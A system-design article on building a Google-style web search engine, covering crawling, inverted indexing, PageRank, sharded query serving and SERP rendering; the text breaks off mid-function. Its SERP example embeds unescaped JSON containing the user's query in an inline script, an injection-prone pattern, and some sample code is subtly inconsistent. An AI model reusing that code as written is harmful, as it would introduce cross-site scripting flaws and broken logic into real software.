**Description:** Building a web-scale search engine that processes 8.5 billion queries daily across 400+ billion indexed pages with sub-second latency. Search engines solve the fundamental information retrieval problem: given a query, return the most relevant documents from a massive corpus—instantly. This design covers crawling (web discovery), indexing (content organization), ranking (relevance scoring), and serving (query processing)—the four pillars that make search work at planetary scale.

# Design Google Search

Building a web-scale search engine that processes 8.5 billion queries daily across 400+ billion indexed pages with sub-second latency. Search engines solve the fundamental information retrieval problem: given a query, return the most relevant documents from a massive corpus—instantly. This design covers crawling (web discovery), indexing (content organization), ranking (relevance scoring), and serving (query processing)—the four pillars that make search work at planetary scale.

<figure>

![Google Search architecture: Queries flow through spell correction and intent understanding, then fan out to distributed index shards. Results aggregate through ranking systems (PageRank, BERT, RankBrain) before returning. Crawlers continuously feed fresh content into the index via Bigtable storage.](./google-search-architecture-queries-flow-through-spell-correction-and-intent-unde.svg)

<figcaption>Google Search architecture: Queries flow through spell correction and intent understanding, then fan out to distributed index shards. Results aggregate through ranking systems (PageRank, BERT, RankBrain) before returning. Crawlers continuously feed fresh content into the index via Bigtable storage.</figcaption>
</figure>

## Abstract

Web search design revolves around four interconnected systems, each with distinct scale challenges:

1. **Crawling** — Discover and fetch the web's content. The challenge: billions of pages change constantly, but crawl resources are finite. Prioritization (popular pages crawled hourly; obscure pages monthly) and politeness (respecting server limits) determine coverage quality.

2. **Indexing** — Transform raw HTML into queryable data structures. Inverted indexes map every term to its posting list (documents containing that term). Sharding distributes the index across thousands of machines; tiered storage keeps hot data in memory.

3. **Ranking** — Score document relevance for a given query. PageRank (link analysis) provides baseline authority; modern systems layer BERT (semantic understanding), RankBrain (query-result matching), and 200+ other signals. Ranking quality directly determines user satisfaction.

4. **Serving** — Process queries with sub-second latency. Fan out to all index shards in parallel, aggregate results, apply final ranking, and return—all within 200-500ms. Caching frequent queries reduces load; early termination stops when good results are found.

| Component | Scale                   | Key Trade-off                                         |
| --------- | ----------------------- | ----------------------------------------------------- |
| Crawling  | 25B URLs discovered/day | Freshness vs. coverage (can't crawl everything)       |
| Indexing  | 400B+ documents         | Storage cost vs. query speed (compression trade-offs) |
| Ranking   | 200+ signals per query  | Latency vs. ranking quality (more signals = slower)   |
| Serving   | 100K+ QPS peak          | Completeness vs. speed (early termination)            |

The mental model: **crawl → parse → index → rank → serve**. Each stage operates independently but feeds the next. Freshness propagates from crawl to index to results over hours to days depending on page importance.

## Requirements

### Functional Requirements

| Feature          | Scope    | Notes                                  |
| ---------------- | -------- | -------------------------------------- |
| Web search       | Core     | Return ranked results for text queries |
| Autocomplete     | Core     | Suggest queries as user types          |
| Spell correction | Core     | Fix typos, suggest alternatives        |
| Image search     | Extended | Search by image content/metadata       |
| News search      | Extended | Time-sensitive, freshness-critical     |
| Local search     | Extended | Location-aware results                 |
| Knowledge panels | Extended | Direct answers from knowledge graph    |
| Personalization  | Core     | Location, language, search history     |
| Safe search      | Core     | Filter explicit content                |
| Pagination       | Core     | Navigate through result pages          |

### Non-Functional Requirements

| Requirement          | Target                                     | Rationale                                                |
| -------------------- | ------------------------------------------ | -------------------------------------------------------- |
| Query latency        | p50 < 200ms, p99 < 500ms                   | User abandonment increases 20% per 100ms delay           |
| Autocomplete latency | p99 < 100ms                                | Must feel instantaneous while typing                     |
| Availability         | 99.99%                                     | Revenue-critical; billions of queries daily              |
| Index freshness      | Minutes for news, hours for regular pages  | Query Deserves Freshness (QDF) for time-sensitive topics |
| Index coverage       | 400B+ pages                                | Comprehensive web coverage                               |
| Crawl politeness     | Respect robots.txt, adaptive rate limiting | Avoid overloading origin servers                         |
| Result relevance     | High precision in top 10 results           | Users rarely scroll past first page                      |

### Scale Estimation

**Query Traffic:**

```
Daily queries: 8.5 billion
QPS (average): 8.5B / 86,400 = ~100,000 QPS
QPS (peak): 3x average = ~300,000 QPS
Autocomplete: 10x queries (every keystroke) = 1M+ RPS
```

**Index Size:**

```
Indexed pages: 400+ billion documents
Average page size (compressed): 100KB
Raw storage: 400B × 100KB = 40 exabytes
With compression + deduplication: ~1-5 exabytes
Index size (inverted index): ~10-20% of raw = 100s of petabytes
```

**Crawl Volume:**

```
URLs discovered daily: 25+ billion
Pages crawled daily: ~billions (prioritized subset)
Bandwidth: Petabytes per day
Crawl rate per domain: 1-10 requests/second (politeness-limited)
```

**Storage Infrastructure:**

```
Bigtable clusters: Thousands of machines
Colossus clusters: Multiple exabytes each (some exceed 10EB)
Index shards: Thousands across global datacenters
Replication factor: 3x minimum for durability
```

## Design Paths

### Path A: Monolithic Index (Single Datacenter)

**Best when:**

- Index fits on a single machine cluster
- Query volume is moderate (<10K QPS)
- Freshness requirements are relaxed (daily updates acceptable)

**Architecture:**

![Diagram](./diagram-1.svg)

**Key characteristics:**

- Single index copy, simpler consistency
- Vertical scaling (bigger machines)
- Batch index rebuilds

**Trade-offs:**

- ✅ Simpler architecture, easier debugging
- ✅ No distributed coordination overhead
- ✅ Strong consistency guaranteed
- ❌ Limited to single-datacenter scale
- ❌ Index rebuild causes downtime or staleness
- ❌ No geographic redundancy

**Real-world example:** Elasticsearch single-cluster deployments for enterprise search. Works well up to billions of documents and thousands of QPS. Beyond that, coordination overhead becomes prohibitive.

### Path B: Distributed Sharded Index (Google's Approach)

**Best when:**

- Web-scale index (hundreds of billions of documents)
- Global user base requiring low latency
- Continuous index updates required (no rebuild windows)

**Architecture:**

![Diagram](./diagram-2.svg)

**Key characteristics:**

- Index partitioned across thousands of machines
- Each query fans out to all shards in parallel
- Results aggregated and ranked centrally
- Index replicated across datacenters for redundancy and latency

**Trade-offs:**

- ✅ Unlimited horizontal scaling
- ✅ Geographic distribution for low latency
- ✅ Continuous updates (no rebuild windows)
- ✅ Fault tolerance (shard failures don't affect availability)
- ❌ Distributed coordination complexity
- ❌ Tail latency challenges (slowest shard determines response time)
- ❌ Cross-shard ranking requires careful design

**Real-world example:** Google Search uses document-based sharding with thousands of shards per datacenter. Index updates propagate continuously; each shard handles a subset of documents independently.

### Path C: Tiered Index (Hot/Cold Separation)

**Best when:**

- Query distribution is highly skewed (popular queries dominate)
- Storage costs are a concern
- Latency requirements vary by query type

**Architecture:**

![Diagram](./diagram-3.svg)

**Key characteristics:**

- Most queries served from hot tier (memory-resident)
- Warm tier for moderately popular content
- Cold tier for long-tail queries

**Trade-offs:**

- ✅ Optimal cost/performance ratio
- ✅ Sub-millisecond latency for popular queries
- ✅ Gradual degradation for rare queries
- ❌ Tiering logic complexity
- ❌ Cache invalidation challenges
- ❌ Cold-start latency spikes

**Real-world example:** Google combines tiered indexing with sharding. Frequently accessed posting lists stay memory-resident; cold terms live on disk. The system dynamically promotes/demotes based on access patterns.

### Path Comparison

| Factor          | Path A (Monolithic) | Path B (Sharded)     | Path C (Tiered)          |
| --------------- | ------------------- | -------------------- | ------------------------ |
| Scale limit     | ~Billions docs      | Unlimited            | Unlimited                |
| Query latency   | Low (no fan-out)    | Higher (aggregation) | Varies by tier           |
| Index freshness | Batch updates       | Continuous           | Continuous               |
| Complexity      | Low                 | High                 | Medium                   |
| Cost efficiency | Low                 | Medium               | High                     |
| Best for        | Enterprise search   | Web-scale search     | Cost-sensitive web scale |

### This Article's Focus

This article focuses on **Path B (Distributed Sharded Index) with Path C (Tiered) optimizations** because:

1. Web-scale search requires horizontal scaling beyond single-datacenter limits
2. Users expect sub-second latency regardless of location
3. Modern search combines sharding with tiering for cost efficiency

The design sections show how to build each component (crawler, indexer, ranker, serving layer) for distributed operation while maintaining latency SLOs.

## High-Level Design

### Component Overview

| Component           | Responsibility                        | Scale                    |
| ------------------- | ------------------------------------- | ------------------------ |
| URL Frontier        | Prioritized queue of URLs to crawl    | Billions of URLs         |
| Distributed Crawler | Fetch pages, respect politeness       | Millions of fetches/hour |
| Content Parser      | Extract text, links, metadata         | Process crawled pages    |
| Deduplication       | Detect duplicate/near-duplicate pages | Content fingerprinting   |
| Indexer             | Build inverted index from documents   | Continuous updates       |
| Index Shards        | Store and query posting lists         | Thousands of shards      |
| Query Processor     | Parse, expand, route queries          | 100K+ QPS                |
| Ranking Engine      | Score and order results               | 200+ signals             |
| Result Aggregator   | Merge results from shards             | Sub-100ms aggregation    |
| Cache Layer         | Store frequent query results          | 30-40% hit rate          |

### Request Flow

![Diagram](./diagram-4.svg)

### Crawl Pipeline

![Diagram](./diagram-5.svg)

## API Design

### Search Query

```http
GET /search?q=distributed+systems&num=10&start=0
Authorization: Bearer {api_key}
Accept-Language: en-US
X-Forwarded-For: {client_ip}
```

**Query Parameters:**

| Parameter      | Type   | Description                              |
| -------------- | ------ | ---------------------------------------- |
| `q`            | string | Search query (URL-encoded)               |
| `num`          | int    | Results per page (default: 10, max: 100) |
| `start`        | int    | Offset for pagination                    |
| `lr`           | string | Language restriction (e.g., `lang_en`)   |
| `gl`           | string | Geolocation (country code)               |
| `safe`         | string | Safe search (`off`, `medium`, `strict`)  |
| `dateRestrict` | string | Time filter (`d7`, `m1`, `y1`)           |

**Response (200 OK):**

```json
{
  "query": {
    "original": "distribted systems",
    "corrected": "distributed systems",
    "expanded_terms": ["distributed computing", "distributed architecture"]
  },
  "search_info": {
    "total_results": 2340000000,
    "search_time_ms": 187,
    "spelling_correction_applied": true
  },
  "results": [
    {
      "position": 1,
      "url": "https://example.com/distributed-systems-guide",
      "title": "Distributed Systems: A Comprehensive Guide",
      "snippet": "Learn about distributed systems architecture, including consensus algorithms, replication strategies, and fault tolerance...",
      "displayed_url": "example.com › guides › distributed-systems",
      "cached_url": "https://webcache.example.com/...",
      "page_info": {
        "last_crawled": "2024-03-15T10:00:00Z",
        "language": "en",
        "mobile_friendly": true
      }
    }
  ],
  "related_searches": ["distributed systems design patterns", "distributed systems vs microservices"],
  "knowledge_panel": {
    "title": "Distributed system",
    "description": "A distributed system is a system whose components are located on different networked computers...",
    "source": "Wikipedia"
  },
  "pagination": {
    "current_page": 1,
    "next_start": 10,
    "has_more": true
  }
}
```

**Error Responses:**

| Code                      | Condition                       | Response                                                 |
| ------------------------- | ------------------------------- | -------------------------------------------------------- |
| `400 Bad Request`         | Empty query, invalid parameters | `{"error": {"code": "invalid_query"}}`                   |
| `429 Too Many Requests`   | Rate limit exceeded             | `{"error": {"code": "rate_limited", "retry_after": 60}}` |
| `503 Service Unavailable` | System overload                 | `{"error": {"code": "overloaded"}}`                      |

### Autocomplete

```http
GET /complete?q=distrib&client=web
```

**Response (200 OK):**

```json
{
  "query": "distrib",
  "suggestions": [
    { "text": "distributed systems", "score": 0.95 },
    { "text": "distributed computing", "score": 0.87 },
    { "text": "distribution center near me", "score": 0.72 },
    { "text": "distributed database", "score": 0.68 }
  ],
  "latency_ms": 8
}
```

**Design note:** Autocomplete must complete in <100ms. Suggestions come from a separate, highly optimized trie-based index of popular queries, not the main document index.

### Crawl Status (Internal API)

```http
GET /internal/crawl/status?url=https://example.com/page
Authorization: Internal-Service-Key {key}
```

**Response:**

```json
{
  "url": "https://example.com/page",
  "canonical_url": "https://example.com/page",
  "last_crawl": "2024-03-15T08:30:00Z",
  "next_scheduled_crawl": "2024-03-16T08:30:00Z",
  "crawl_frequency": "daily",
  "index_status": "indexed",
  "robots_txt_status": "allowed",
  "page_quality_score": 0.78
}
```

## Data Modeling

### Document Storage (Bigtable)

Google stores crawled pages in Bigtable with domain-reversed URLs as row keys for efficient range scans of entire domains.

**Row Key Design:**

```
com.example.www/page/path → Reversed domain + path
```

**Why reversed domain?** Range scans for `com.example.*` retrieve all pages from example.com efficiently. Forward URLs would scatter domain pages across the keyspace.

**Column Families:**

| Column Family | Columns                                  | Description     |
| ------------- | ---------------------------------------- | --------------- |
| `content`     | `html`, `text`, `title`, `meta`          | Page content    |
| `links`       | `outlinks`, `inlinks`                    | Link graph      |
| `crawl`       | `last_crawl`, `next_crawl`, `status`     | Crawl metadata  |
| `index`       | `indexed_at`, `shard_id`                 | Index status    |
| `quality`     | `pagerank`, `spam_score`, `mobile_score` | Quality signals |

**Schema (Conceptual):**

```
Row: com.example.www/distributed-systems
├── content:html        → "<html>..."
├── content:text        → "Distributed systems are..."
├── content:title       → "Distributed Systems Guide"
├── links:outlinks      → ["com.other.www/page1", "org.wiki.en/dist"]
├── links:inlinks       → ["com.blog.www/article", ...]
├── crawl:last_crawl    → 1710489600 (timestamp)
├── crawl:status        → "success"
├── quality:pagerank    → 0.00042
└── quality:spam_score  → 0.02
```

### Inverted Index Structure

The inverted index maps terms to posting lists—ordered lists of documents containing that term.

**Posting List Structure:**

```
Term: "distributed"
├── Document IDs: [doc_123, doc_456, doc_789, ...]
├── Positions:    [[5, 23, 107], [12], [3, 45, 89, 201], ...]
├── Frequencies:  [3, 1, 4, ...]
└── Quality hints: [0.9, 0.7, 0.85, ...]  # PageRank-based ordering
```

**Compression:**

- **Document IDs:** Delta encoding (store differences, not absolute values)
  - Original: [100, 105, 112, 150] → Deltas: [100, 5, 7, 38]
  - Smaller integers compress better with variable-byte encoding
- **Positions:** Delta encoding within each document
- **Frequencies:** Variable-byte encoding

**Index Entry (Conceptual Schema):**

```sql
-- Logical structure (actual implementation uses custom binary format)
term_id: uint64          -- Hashed term
doc_count: uint32        -- Number of documents containing term
posting_list: bytes      -- Compressed posting data
  ├── doc_ids: varint[]  -- Delta-encoded document IDs
  ├── freqs: varint[]    -- Term frequencies per doc
  └── positions: bytes   -- Position data for phrase queries
```

### URL Frontier Schema

```sql
CREATE TABLE url_frontier (
    url_hash BIGINT PRIMARY KEY,      -- Hash of normalized URL
    url TEXT NOT NULL,
    domain_hash BIGINT NOT NULL,       -- For politeness grouping
    priority FLOAT NOT NULL,           -- Crawl priority (0-1)
    last_crawl_time TIMESTAMP,
    next_crawl_time TIMESTAMP NOT NULL,
    crawl_frequency INTERVAL,
    retry_count INT DEFAULT 0,
    status VARCHAR(20) DEFAULT 'pending',

    -- Partitioned by priority for efficient dequeue
    INDEX idx_priority (priority DESC, next_crawl_time ASC),
    INDEX idx_domain (domain_hash, next_crawl_time ASC)
);
```

**Politeness constraint:** Only one outstanding request per domain. The `domain_hash` index enables efficient per-domain rate limiting.

### Storage Selection Matrix

| Data             | Store                                | Rationale                                  |
| ---------------- | ------------------------------------ | ------------------------------------------ |
| Crawled pages    | Bigtable                             | Petabyte scale, row-key range scans        |
| Inverted index   | Custom sharded stores                | Optimized for posting list access          |
| URL frontier     | Distributed queue (Bigtable + Redis) | Priority queue semantics                   |
| Query cache      | Distributed cache (Memcached-like)   | Sub-ms latency, high hit rate              |
| PageRank scores  | Bigtable                             | Updated periodically, read during indexing |
| Query logs       | Columnar store (BigQuery)            | Analytics, ML training                     |
| robots.txt cache | In-memory cache                      | Per-domain, TTL-based                      |

## Low-Level Design

### Inverted Index Construction

Building an inverted index from crawled documents at web scale requires careful batching and distributed coordination.

**Index Build Pipeline:**

![Diagram](./diagram-6.svg)

**Implementation (Conceptual MapReduce):**

```typescript collapse={1-10, 55-70}
// index-builder.ts
interface Document {
  doc_id: string
  url: string
  content: string
  quality_score: number
}

interface Posting {
  doc_id: number
  frequency: number
  positions: number[]
}

// Map phase: emit (term, posting) pairs
function mapDocument(doc: Document): Map<string, Posting> {
  const terms = new Map<string, Posting>()
  const tokens = tokenize(doc.content)

  for (let pos = 0; pos < tokens.length; pos++) {
    const term = normalize(tokens[pos]) // lowercase, stem

    if (!terms.has(term)) {
      terms.set(term, {
        doc_id: hashDocId(doc.doc_id),
        frequency: 0,
        positions: [],
      })
    }

    const posting = terms.get(term)!
    posting.frequency++
    posting.positions.push(pos)
  }

  return terms
}

// Reduce phase: merge postings for same term
function reducePostings(term: string, postings: Posting[]): PostingList {
  // Sort by quality-weighted doc_id for early termination optimization
  postings.sort((a, b) => b.quality_score - a.quality_score)

  return {
    term,
    doc_count: postings.length,
    postings: deltaEncode(postings),
  }
}

function deltaEncode(postings: Posting[]): Buffer {
  const buffer = new CompressedBuffer()
  let prevDocId = 0

  for (const posting of postings) {
    // Store delta instead of absolute doc_id
    buffer.writeVarint(posting.doc_id - prevDocId)
    buffer.writeVarint(posting.frequency)
    buffer.writePositions(posting.positions)
    prevDocId = posting.doc_id
  }

  return buffer.toBuffer()
}
```

**Index update strategy:**

| Approach          | Latency | Complexity | Use Case                     |
| ----------------- | ------- | ---------- | ---------------------------- |
| Full rebuild      | Hours   | Low        | Initial build, major changes |
| Incremental merge | Minutes | Medium     | Regular updates              |
| Real-time append  | Seconds | High       | Breaking news, fresh content |

Google uses a hybrid: the main index updates incrementally, while a separate "fresh" index handles real-time content with periodic merges.

### Query Processing Pipeline

![Diagram](./diagram-7.svg)

**Spell Correction Implementation:**

Google's spell corrector uses a deep neural network with 680+ million parameters, executing in under 2ms.

```typescript collapse={1-8, 40-50}
// spell-correction.ts
interface SpellResult {
  original: string
  corrected: string
  confidence: number
  alternatives: string[]
}

async function correctSpelling(query: string): Promise<SpellResult> {
  // 1. Check if query is a known valid phrase
  if (await isKnownPhrase(query)) {
    return { original: query, corrected: query, confidence: 1.0, alternatives: [] }
  }

  // 2. Run neural spell correction model
  const modelOutput = await spellModel.predict(query)

  // 3. Consider context: surrounding words affect correction
  // "python" after "monty" → don't correct to "python programming"
  const contextualCorrection = applyContextRules(query, modelOutput)

  // 4. Check correction against query logs (popular queries)
  const popularMatch = await findPopularMatch(contextualCorrection)

  return {
    original: query,
    corrected: popularMatch || contextualCorrection,
    confidence: modelOutput.confidence,
    alternatives: modelOutput.alternatives.slice(0, 3),
  }
}
```

**Design insight:** Spell correction uses query logs as ground truth. If millions of users search for "javascript" after initially typing "javasript", the model learns that correction. This is why spell correction works better for common queries than rare technical terms.

### Ranking System Architecture

Google combines multiple ranking systems, each contributing different signals:

![Diagram](./diagram-8.svg)

**PageRank Computation:**

PageRank measures page authority based on link structure. The algorithm models a random web surfer following links.

```typescript collapse={1-12, 50-60}
// pagerank.ts
interface PageGraph {
  pages: Map<string, string[]> // page → outlinks
  inlinks: Map<string, string[]> // page → pages linking to it
}

const DAMPING_FACTOR = 0.85
const CONVERGENCE_THRESHOLD = 0.0001
const MAX_ITERATIONS = 100

function computePageRank(graph: PageGraph): Map<string, number> {
  const numPages = graph.pages.size
  const initialRank = 1.0 / numPages

  // Initialize all pages with equal rank
  let ranks = new Map<string, number>()
  for (const page of graph.pages.keys()) {
    ranks.set(page, initialRank)
  }

  // Iterate until convergence
  for (let iter = 0; iter < MAX_ITERATIONS; iter++) {
    const newRanks = new Map<string, number>()
    let maxDelta = 0

    for (const page of graph.pages.keys()) {
      // Sum of (rank / outlink_count) for all pages linking to this page
      let inlinkSum = 0
      const inlinks = graph.inlinks.get(page) || []

      for (const inlink of inlinks) {
        const inlinkRank = ranks.get(inlink) || 0
        const outlinks = graph.pages.get(inlink) || []
        if (outlinks.length > 0) {
          inlinkSum += inlinkRank / outlinks.length
        }
      }

      // PageRank formula: PR(A) = (1-d)/N + d * sum(PR(Ti)/C(Ti))
      const newRank = (1 - DAMPING_FACTOR) / numPages + DAMPING_FACTOR * inlinkSum
      newRanks.set(page, newRank)

      maxDelta = Math.max(maxDelta, Math.abs(newRank - (ranks.get(page) || 0)))
    }

    ranks = newRanks

    if (maxDelta < CONVERGENCE_THRESHOLD) {
      break // Converged
    }
  }

  return ranks
}
```

**PageRank at scale:**

- Full web graph: 400B+ nodes, trillions of edges
- Computation: Distributed MapReduce across thousands of machines
- Frequency: Recomputed periodically (historically monthly, now more frequent)
- Storage: PageRank scores stored with documents in Bigtable

**BERT for Ranking:**

BERT (Bidirectional Encoder Representations from Transformers) understands semantic meaning, not just keyword matching.

```
Query: "can you get medicine for someone pharmacy"
Without BERT: Matches pages about "medicine" and "pharmacy" separately
With BERT: Understands intent = "picking up prescription for another person"
```

**RankBrain:**

RankBrain converts queries and documents to vectors in a shared embedding space. Semantic similarity is measured by vector distance.

```
Query vector: [0.23, -0.45, 0.12, ...]  (300+ dimensions)
Doc vector:   [0.21, -0.42, 0.15, ...]
Similarity:   cosine_similarity(query_vec, doc_vec) = 0.94
```

### Distributed Query Execution

Querying a sharded index requires fan-out to all shards, parallel execution, and result aggregation.

```typescript collapse={1-15, 70-85}
// query-executor.ts
interface ShardResult {
  shard_id: number
  results: ScoredDocument[]
  latency_ms: number
}

interface QueryPlan {
  query: ParsedQuery
  shards: ShardConnection[]
  timeout_ms: number
  top_k_per_shard: number
}

async function executeQuery(plan: QueryPlan): Promise<SearchResult[]> {
  const { query, shards, timeout_ms, top_k_per_shard } = plan

  // Fan out to all shards in parallel
  const shardPromises = shards.map((shard) =>
    queryShard(shard, query, top_k_per_shard).catch((err) => ({
      shard_id: shard.id,
      results: [],
      latency_ms: timeout_ms,
      error: err,
    })),
  )

  // Wait for all shards with timeout
  const shardResults = await Promise.race([Promise.all(shardPromises), sleep(timeout_ms).then(() => "timeout")])

  if (shardResults === "timeout") {
    // Return partial results from completed shards
    return aggregatePartialResults(shardPromises)
  }

  // Merge results from all shards
  return mergeAndRank(shardResults as ShardResult[], query)
}

function mergeAndRank(shardResults: ShardResult[], query: ParsedQuery): SearchResult[] {
  // Collect all candidates
  const candidates: ScoredDocument[] = []
  for (const result of shardResults) {
    candidates.push(...result.results)
  }

  // Global ranking across all shards
  // Shard-local scores are comparable because same scoring function
  candidates.sort((a, b) => b.score - a.score)

  // Apply final ranking (BERT, personalization)
  const reranked = applyFinalRanking(candidates.slice(0, 1000), query)

  return reranked.slice(0, query.num_results)
}

async function queryShard(shard: ShardConnection, query: ParsedQuery, topK: number): Promise<ShardResult> {
  const start = Date.now()

  // 1. Retrieve posting lists for query terms
  const postingLists = await shard.getPostingLists(query.terms)

  // 2. Intersect posting lists (for AND queries)
  const candidates = intersectPostingLists(postingLists)

  // 3. Score candidates using local signals
  const scored = candidates.map((doc) => ({
    doc,
    score: computeLocalScore(doc, query),
  }))

  // 4. Return top-K
  scored.sort((a, b) => b.score - a.score)

  return {
    shard_id: shard.id,
    results: scored.slice(0, topK),
    latency_ms: Date.now() - start,
  }
}
```

**Tail latency challenge:** With 1000 shards, even 99th percentile shard latency affects median query latency. Mitigations:

| Technique         | Description                                                   |
| ----------------- | ------------------------------------------------------------- |
| Hedged requests   | Send duplicate requests to replica shards, use first response |
| Partial results   | Return results even if some shards timeout                    |
| Early termination | Stop when enough high-quality results found                   |
| Shard rebalancing | Move hot shards to faster machines                            |

### Crawl Scheduling and Politeness

```typescript collapse={1-12, 60-75}
// crawl-scheduler.ts
interface CrawlJob {
  url: string
  domain: string
  priority: number
  lastCrawl: Date | null
  estimatedChangeRate: number
}

interface DomainState {
  lastRequestTime: Date
  crawlDelay: number // From robots.txt or adaptive
  concurrentRequests: number
  maxConcurrent: number
}

class CrawlScheduler {
  private domainStates: Map<string, DomainState> = new Map()
  private frontier: PriorityQueue<CrawlJob>

  async scheduleNext(): Promise<CrawlJob | null> {
    while (!this.frontier.isEmpty()) {
      const job = this.frontier.peek()

      // Check politeness constraints
      const domainState = this.getDomainState(job.domain)

      if (!this.canCrawlNow(domainState)) {
        // Can't crawl this domain yet, try next
        this.frontier.pop()
        this.frontier.push(job) // Re-add with delay
        continue
      }

      // Acquire crawl slot for this domain
      if (domainState.concurrentRequests >= domainState.maxConcurrent) {
        continue
      }

      domainState.concurrentRequests++
      domainState.lastRequestTime = new Date()

      return this.frontier.pop()
    }

    return null
  }

  private canCrawlNow(state: DomainState): boolean {
    const elapsed = Date.now() - state.lastRequestTime.getTime()
    return elapsed >= state.crawlDelay * 1000
  }

  // Adaptive crawl delay based on server response
  updateCrawlDelay(domain: string, responseTimeMs: number, statusCode: number): void {
    const state = this.getDomainState(domain)

    if (statusCode === 429 || statusCode === 503) {
      // Server is overloaded, back off exponentially
      state.crawlDelay = Math.min(state.crawlDelay * 2, 60)
    } else if (responseTimeMs > 2000) {
      // Slow response, increase delay
      state.crawlDelay = Math.min(state.crawlDelay * 1.5, 30)
    } else if (responseTimeMs < 200 && state.crawlDelay > 1) {
      // Fast response, can crawl more aggressively
      state.crawlDelay = Math.max(state.crawlDelay * 0.9, 1)
    }
  }
}
```

**Crawl prioritization factors:**

| Factor                 | Weight    | Rationale                                    |
| ---------------------- | --------- | -------------------------------------------- |
| PageRank               | High      | Important pages should be fresh              |
| Update frequency       | High      | Pages that change often need frequent crawls |
| User demand            | High      | Popular query results need freshness         |
| Sitemap priority       | Medium    | Webmaster hints                              |
| Time since last crawl  | Medium    | Spread crawl load                            |
| robots.txt crawl-delay | Mandatory | Respect server limits                        |

## Frontend Considerations

### Search Results Page Performance

The Search Engine Results Page (SERP) must render quickly despite complex content (rich snippets, knowledge panels, images).

**Critical rendering path:**

```typescript collapse={1-10, 45-55}
// serp-rendering.ts
interface SearchResultsPage {
  query: string
  results: SearchResult[]
  knowledgePanel?: KnowledgePanel
  relatedSearches: string[]
}

// Server-side render critical content
function renderSERP(data: SearchResultsPage): string {
  // 1. Inline critical CSS for above-the-fold content
  const criticalCSS = extractCriticalCSS()

  // 2. Render first 3 results server-side (no JS needed)
  const initialResults = data.results.slice(0, 3).map(renderResult).join("")

  // 3. Defer non-critical content
  const deferredContent = `
    <script>
      // Hydrate remaining results after initial paint
      window.__SERP_DATA__ = ${JSON.stringify(data)};
    </script>
  `

  return `
    <html>
    <head>
      <style>${criticalCSS}</style>
    </head>
    <body>
      <div id="results">${initialResults}</div>
      <div id="deferred"></div>
      ${deferredContent}
      <script src="/serp.js" defer></script>
    </body>
    </html>
  `
}
```

**Performance optimizations:**

| Technique             | Impact                   | Implementation                      |
| --------------------- | ------------------------ | ----------------------------------- |
| Server-side rendering | FCP < 500ms              | Render first 3 results on server    |
| Critical CSS inlining | No render blocking       | Extract above-fold styles           |
| Lazy loading          | Reduced initial payload  | Load images/rich snippets on scroll |
| Prefetching           | Faster result clicks     | Prefetch top result on hover        |
| Service worker        | Offline + instant repeat | Cache static assets, query history  |

### Autocomplete UX

```typescript collapse={1-8, 45-55}
// autocomplete.ts
class AutocompleteController {
  private debounceMs = 100
  private minChars = 2
  private cache: Map<string, string[]> = new Map()

  async handleInput(query: string): Promise<string[]> {
    if (query.length < this.minChars) {
      return []
    }

    // Check cache first
    const cached = this.cache.get(query)
    if (cached) {
      return cached
    }

    // Debounce rapid keystrokes
    await this.debounce()

    // Fetch suggestions
    const suggestions = await this.fetchSuggestions(query)

    // Cache for repeat queries
    this.cache.set(query, suggestions)

    // Prefetch likely next queries
    this.prefetchNextCharacter(query)

    return suggestions
  }

  private prefetchNextCharacter(query: string): void {
    // Prefetch common next characters
    const commonNextChars = ["a", "e", "i", "o", "s", "t", " "]
    for (const char of commonNextChars) {
      const nextQuery = query + char
      if (!this.cache.has(nextQuery)) {
        // Low-priority background fetch
        requestIdleCallback(() => this.fetchSuggestions(nextQuery))
      }
    }
  }
}
```

**Autocomplete latency budget:**

```
Total: 100ms target
├── Network RTT: 30ms (edge servers)
├── Server processing: 20ms
├── Trie lookup: 5ms
├── Ranking: 10ms
├── Response serialization: 5ms
└── Client rendering: 30ms
```

### Infinite Scroll vs Pagination

Google uses traditional pagination rather than infinite scroll. Design rationale:

| Factor            | Pagination                     | Infinite Scroll          |
| ----------------- | ------------------------------ | ------------------------ |
| User mental model | Clear position in results      | Lost context             |
| Sharing results   | "Page 2" is meaningful         | No way to share position |
| Back button       | Works as expected              | Loses scroll position    |
| Performance       | Bounded DOM size               | Unbounded growth         |
| SEO results       | Users evaluate before clicking | Scroll past quickly      |

## Infrastructure Design

### Cloud-Agnostic Components

| Component           | Purpose                      | Requirements                        |
| ------------------- | ---------------------------- | ----------------------------------- |
| Distributed storage | Page content, index          | Petabyte scale, strong consistency  |
| Distributed compute | Index building, ranking      | Horizontal scaling, fault tolerance |
| Message queue       | Crawl job distribution       | At-least-once, priority queues      |
| Cache layer         | Query results, posting lists | Sub-ms latency, high throughput     |
| CDN                 | Static assets, edge serving  | Global distribution                 |
| DNS                 | Geographic routing           | Low latency, health checking        |

### Google's Internal Infrastructure

| Component  | Google Service                   | Purpose                                   |
| ---------- | -------------------------------- | ----------------------------------------- |
| Storage    | Bigtable + Colossus              | Structured data + distributed file system |
| Compute    | Borg                             | Container orchestration                   |
| MapReduce  | MapReduce / Flume                | Batch processing                          |
| RPC        | Stubby (gRPC predecessor)        | Service communication                     |
| Monitoring | Borgmon (Prometheus inspiration) | Metrics and alerting                      |
| Consensus  | Chubby (ZooKeeper inspiration)   | Distributed locking                       |

### AWS Reference Architecture

![Diagram](./diagram-9.svg)

**Service sizing (for ~10K QPS, 1B documents):**

| Service     | Configuration              | Cost Estimate |
| ----------- | -------------------------- | ------------- |
| OpenSearch  | 20 × i3.2xlarge data nodes | ~$50K/month   |
| ECS Fargate | 50 × 4vCPU/8GB tasks       | ~$15K/month   |
| ElastiCache | 10 × r6g.xlarge nodes      | ~$5K/month    |
| DynamoDB    | On-demand, ~100K WCU       | ~$10K/month   |
| S3          | 100TB storage              | ~$2K/month    |

**Note:** This is a simplified reference. Google's actual infrastructure is 1000x larger and uses custom hardware/software unavailable commercially.

### Self-Hosted Open Source Stack

| Component     | Technology                  | Notes                           |
| ------------- | --------------------------- | ------------------------------- |
| Search engine | Elasticsearch / Solr        | Proven at billion-doc scale     |
| Storage       | Cassandra / ScyllaDB        | Wide-column store like Bigtable |
| Crawler       | Apache Nutch / StormCrawler | Distributed web crawling        |
| Queue         | Kafka                       | Crawl job distribution          |
| Compute       | Kubernetes                  | Container orchestration         |
| Cache         | Redis Cluster               | Query and posting list cache    |

## Variations

### News Search (Freshness-Critical)

News search prioritizes freshness over traditional ranking signals.

```typescript
// news-ranking.ts
function computeNewsScore(doc: NewsDocument, query: Query): number {
  const baseRelevance = computeTextRelevance(doc, query)
  const authorityScore = doc.sourceAuthority // CNN > random blog
  const freshnessScore = computeFreshnessDecay(doc.publishedAt)

  // Freshness dominates for news queries
